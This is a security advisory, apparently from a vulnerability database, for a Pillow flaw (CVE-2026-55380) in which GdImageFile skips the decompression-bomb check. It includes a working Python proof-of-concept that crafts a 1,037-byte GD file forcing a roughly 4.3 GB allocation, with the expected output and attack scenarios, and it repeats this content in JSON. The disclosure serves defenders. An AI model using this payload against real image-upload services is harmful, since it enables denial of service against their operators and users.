GHSA-PHJ9-MV4W-65PM
Vulnerability from github – Published: 2026-07-20 21:13 – Updated: 2026-07-20 21:13Description
PIL/GdImageFile.py GdImageFile._open() reads image dimensions from the GD 2.x header and stores them in self._size without calling Image._decompression_bomb_check(). Because GdImageFile is not registered with Image.register_open(), it never passes through the standard Image.open() code path that enforces Pillow's decompression bomb guard. The plugin exposes its own entry point — PIL.GdImageFile.open(fp) — which directly instantiates the class, fully bypassing the documented protection.
Vulnerable code (PIL/GdImageFile.py lines 50–61):
def _open(self) -> None:
s = self.fp.read(1037)
if i16(s) not in [65534, 65535]:
raise SyntaxError("Not a valid GD 2.x .gd file")
self._mode = "P"
self._size = i16(s, 2), i16(s, 4) # ← unsigned 16-bit; max 65535 each
# NO _decompression_bomb_check() call here ←
...
self.tile = [ImageFile._Tile("raw", (0, 0) + self.size, 1037, "L")]
When load() is subsequently called on the returned image object:
load() → load_prepare() → Image.core.new("P", (65535, 65535))
# ↑ C-level allocation of 4,294,836,225 bytes ≈ 4.3 GB — no Python bomb check precedes this
Dimension arithmetic:
| Field | Value |
|---|---|
| Maximum width from header | 65,535 (unsigned 16-bit) |
| Maximum height from header | 65,535 (unsigned 16-bit) |
| Maximum pixel count | 65,535 × 65,535 = 4,294,836,225 |
DecompressionBombError threshold |
178,956,970 (2 × MAX_IMAGE_PIXELS) |
| Overshoot ratio | 24× above DecompressionBombError threshold |
| Memory at max dimensions | ≈ 4.3 GB (palette-mode: 1 byte/pixel) |
| Minimum attack file size | 1,037 bytes (header only — no pixel data needed) |
Comparison with safe sibling plugin (WalImageFile):
WalImageFile is in the same category — not registered with Image.open(), loaded via its own open() helper. It was previously patched with the correct fix:
# PIL/WalImageFile.py line 46 — CORRECT pattern (already patched)
self._size = i32(header, 32), i32(header, 36)
Image._decompression_bomb_check(self.size) # ← present
GdImageFile was never updated to match, leaving a gap in protection.
Steps to reproduce
Proof of Concept script:
#!/usr/bin/env python3
"""
PoC: GdImageFile decompression bomb bypass
1037-byte crafted .gd file → 4.3 GB C-heap allocation, NO bomb check
"""
import io, struct
from PIL import GdImageFile, Image
# Build minimal 1037-byte GD 2.x palette-mode header:
# sig(2) + width(2) + height(2) + true_color(1) + tindex(4) + colors_used(2) + palette(1024)
sig = struct.pack(">H", 0xFFFE) # 65534 = GD 2.x magic
w = struct.pack(">H", 65535) # max width
h = struct.pack(">H", 65535) # max height
true_color = b"\x00" # 0 = palette mode
tindex = struct.pack(">I", 0xFFFFFFFF) # > 255 = no transparency
colors_used = b"\x00\x00"
palette_data = b"\x00" * 1024
header = sig + w + h + true_color + tindex + colors_used + palette_data
assert len(header) == 1037
# Confirm: standard Image.open() path BLOCKS this size
try:
Image._decompression_bomb_check((65535, 65535))
except Image.DecompressionBombError as e:
print(f"[BLOCKED] Image.open() path: {e}")
# Vulnerable path: GdImageFile.open() has NO bomb check
img = GdImageFile.open(io.BytesIO(header))
print(f"[BYPASS] GdImageFile.open() succeeded: size={img.size}, mode={img.mode}")
print(f" No _decompression_bomb_check called — 4.3 GB allocation not blocked")
# Trigger load_prepare() → Image.core.new("P", (65535, 65535))
try:
img.load()
except OSError:
print(f"[INFO] load() OSError (no pixel data) — but C-heap allocation already attempted")
print(f"\n[MATH] {65535 * 65535:,} pixels = {65535*65535 / (Image.MAX_IMAGE_PIXELS*2):.1f}× error threshold")
print(f"[MATH] Attack file: 1,037 bytes only")
Expected output:
[BLOCKED] Image.open() path: Image size (4294836225 pixels) exceeds limit of 178956970
pixels, could be decompression bomb DOS attack.
[BYPASS] GdImageFile.open() succeeded: size=(65535, 65535), mode=P
No _decompression_bomb_check called — 4.3 GB allocation not blocked
[INFO] load() OSError (no pixel data) — but C-heap allocation already attempted
[MATH] 4,294,836,225 pixels = 24.0× error threshold
[MATH] Attack file: 1,037 bytes only
Verified live on Pillow 12.2.0.
Two attack paths:
| Path | File size | Effect |
|---|---|---|
| Transient (header only) | 1,037 bytes | load_prepare() attempts 4.3 GB C allocation → OSError after spike |
| Persistent (full pixel data) | ~4.3 GB | load() completes, 4.3 GB stays in memory for object lifetime |
For the transient path, a 1,037-byte file is all that is needed. The attacker does not need to upload a large file.
Real-world scenario:
from PIL import GdImageFile
# Application accepts user-uploaded .gd files
img = GdImageFile.open(user_uploaded_file) # succeeds — no bomb check
img.load() # triggers 4.3 GB C-heap allocation
Impact
- Availability: HIGH — a single 1,037-byte malicious
.gdfile causes the host process to attempt a ~4.3 GB C-heap allocation. On systems with insufficient memory this crashes the process. Repeatable — attacker can loop requests to keep the server down. - Confidentiality: None
- Integrity: None
- Authentication required: No — any public endpoint accepting image uploads is affected
- User interaction: None
Any service that calls PIL.GdImageFile.open(user_file) followed by .load() (or any lazy-load trigger) is vulnerable. Because the attack requires only a 1,037-byte file, network bandwidth is not a constraint.
Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-08.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pillow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "12.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55380"
],
"database_specific": {
"cwe_ids": [
"CWE-789"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-20T21:13:35Z",
"nvd_published_at": "2026-07-06T19:17:08Z",
"severity": "HIGH"
},
"details": "## Description\n\n`PIL/GdImageFile.py` `GdImageFile._open()` reads image dimensions from the GD 2.x header and stores them in `self._size` without calling `Image._decompression_bomb_check()`. Because `GdImageFile` is **not registered with `Image.register_open()`**, it never passes through the standard `Image.open()` code path that enforces Pillow\u0027s decompression bomb guard. The plugin exposes its own entry point \u2014 `PIL.GdImageFile.open(fp)` \u2014 which directly instantiates the class, fully bypassing the documented protection.\n\n**Vulnerable code (`PIL/GdImageFile.py` lines 50\u201361):**\n\n```python\ndef _open(self) -\u003e None:\n s = self.fp.read(1037)\n if i16(s) not in [65534, 65535]:\n raise SyntaxError(\"Not a valid GD 2.x .gd file\")\n self._mode = \"P\"\n self._size = i16(s, 2), i16(s, 4) # \u2190 unsigned 16-bit; max 65535 each\n # NO _decompression_bomb_check() call here \u2190\n ...\n self.tile = [ImageFile._Tile(\"raw\", (0, 0) + self.size, 1037, \"L\")]\n```\n\nWhen `load()` is subsequently called on the returned image object:\n\n```python\nload() \u2192 load_prepare() \u2192 Image.core.new(\"P\", (65535, 65535))\n# \u2191 C-level allocation of 4,294,836,225 bytes \u2248 4.3 GB \u2014 no Python bomb check precedes this\n```\n\n**Dimension arithmetic:**\n\n| Field | Value |\n|---|---|\n| Maximum width from header | 65,535 (unsigned 16-bit) |\n| Maximum height from header | 65,535 (unsigned 16-bit) |\n| Maximum pixel count | 65,535 \u00d7 65,535 = **4,294,836,225** |\n| `DecompressionBombError` threshold | 178,956,970 (2 \u00d7 MAX_IMAGE_PIXELS) |\n| **Overshoot ratio** | **24\u00d7 above DecompressionBombError threshold** |\n| Memory at max dimensions | **\u2248 4.3 GB** (palette-mode: 1 byte/pixel) |\n| Minimum attack file size | **1,037 bytes** (header only \u2014 no pixel data needed) |\n\n**Comparison with safe sibling plugin (`WalImageFile`):**\n\n`WalImageFile` is in the same category \u2014 not registered with `Image.open()`, loaded via its own `open()` helper. It was previously patched with the correct fix:\n\n```python\n# PIL/WalImageFile.py line 46 \u2014 CORRECT pattern (already patched)\nself._size = i32(header, 32), i32(header, 36)\nImage._decompression_bomb_check(self.size) # \u2190 present\n```\n\n`GdImageFile` was never updated to match, leaving a gap in protection.\n\n## Steps to reproduce\n\n**Proof of Concept script:**\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: GdImageFile decompression bomb bypass\n1037-byte crafted .gd file \u2192 4.3 GB C-heap allocation, NO bomb check\n\"\"\"\nimport io, struct\nfrom PIL import GdImageFile, Image\n\n# Build minimal 1037-byte GD 2.x palette-mode header:\n# sig(2) + width(2) + height(2) + true_color(1) + tindex(4) + colors_used(2) + palette(1024)\nsig = struct.pack(\"\u003eH\", 0xFFFE) # 65534 = GD 2.x magic\nw = struct.pack(\"\u003eH\", 65535) # max width\nh = struct.pack(\"\u003eH\", 65535) # max height\ntrue_color = b\"\\x00\" # 0 = palette mode\ntindex = struct.pack(\"\u003eI\", 0xFFFFFFFF) # \u003e 255 = no transparency\ncolors_used = b\"\\x00\\x00\"\npalette_data = b\"\\x00\" * 1024\nheader = sig + w + h + true_color + tindex + colors_used + palette_data\nassert len(header) == 1037\n\n# Confirm: standard Image.open() path BLOCKS this size\ntry:\n Image._decompression_bomb_check((65535, 65535))\nexcept Image.DecompressionBombError as e:\n print(f\"[BLOCKED] Image.open() path: {e}\")\n\n# Vulnerable path: GdImageFile.open() has NO bomb check\nimg = GdImageFile.open(io.BytesIO(header))\nprint(f\"[BYPASS] GdImageFile.open() succeeded: size={img.size}, mode={img.mode}\")\nprint(f\" No _decompression_bomb_check called \u2014 4.3 GB allocation not blocked\")\n\n# Trigger load_prepare() \u2192 Image.core.new(\"P\", (65535, 65535))\ntry:\n img.load()\nexcept OSError:\n print(f\"[INFO] load() OSError (no pixel data) \u2014 but C-heap allocation already attempted\")\n\nprint(f\"\\n[MATH] {65535 * 65535:,} pixels = {65535*65535 / (Image.MAX_IMAGE_PIXELS*2):.1f}\u00d7 error threshold\")\nprint(f\"[MATH] Attack file: 1,037 bytes only\")\n```\n\n**Expected output:**\n```\n[BLOCKED] Image.open() path: Image size (4294836225 pixels) exceeds limit of 178956970\npixels, could be decompression bomb DOS attack.\n[BYPASS] GdImageFile.open() succeeded: size=(65535, 65535), mode=P\n No _decompression_bomb_check called \u2014 4.3 GB allocation not blocked\n[INFO] load() OSError (no pixel data) \u2014 but C-heap allocation already attempted\n\n[MATH] 4,294,836,225 pixels = 24.0\u00d7 error threshold\n[MATH] Attack file: 1,037 bytes only\n```\n\n**Verified live on Pillow 12.2.0.**\n\n**Two attack paths:**\n\n| Path | File size | Effect |\n|---|---|---|\n| Transient (header only) | **1,037 bytes** | `load_prepare()` attempts 4.3 GB C allocation \u2192 `OSError` after spike |\n| Persistent (full pixel data) | ~4.3 GB | `load()` completes, 4.3 GB stays in memory for object lifetime |\n\nFor the transient path, a 1,037-byte file is all that is needed. The attacker does not need to upload a large file.\n\n**Real-world scenario:**\n```python\nfrom PIL import GdImageFile\n\n# Application accepts user-uploaded .gd files\nimg = GdImageFile.open(user_uploaded_file) # succeeds \u2014 no bomb check\nimg.load() # triggers 4.3 GB C-heap allocation\n```\n\n## Impact\n\n- **Availability:** HIGH \u2014 a single 1,037-byte malicious `.gd` file causes the host process to attempt a ~4.3 GB C-heap allocation. On systems with insufficient memory this crashes the process. Repeatable \u2014 attacker can loop requests to keep the server down.\n- **Confidentiality:** None\n- **Integrity:** None\n- **Authentication required:** No \u2014 any public endpoint accepting image uploads is affected\n- **User interaction:** None\n\nAny service that calls `PIL.GdImageFile.open(user_file)` followed by `.load()` (or any lazy-load trigger) is vulnerable. Because the attack requires only a 1,037-byte file, network bandwidth is not a constraint.\n\nConfirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-08.",
"id": "GHSA-phj9-mv4w-65pm",
"modified": "2026-07-20T21:13:35Z",
"published": "2026-07-20T21:13:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-phj9-mv4w-65pm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55380"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/commit/f39b0ae6624eb2d7c5c5d651d9bb5fdbd96a8675"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2256.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/python-pillow/Pillow"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Pillow `GdImageFile._open()`: image dimensions accepted without `_decompression_bomb_check()`"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.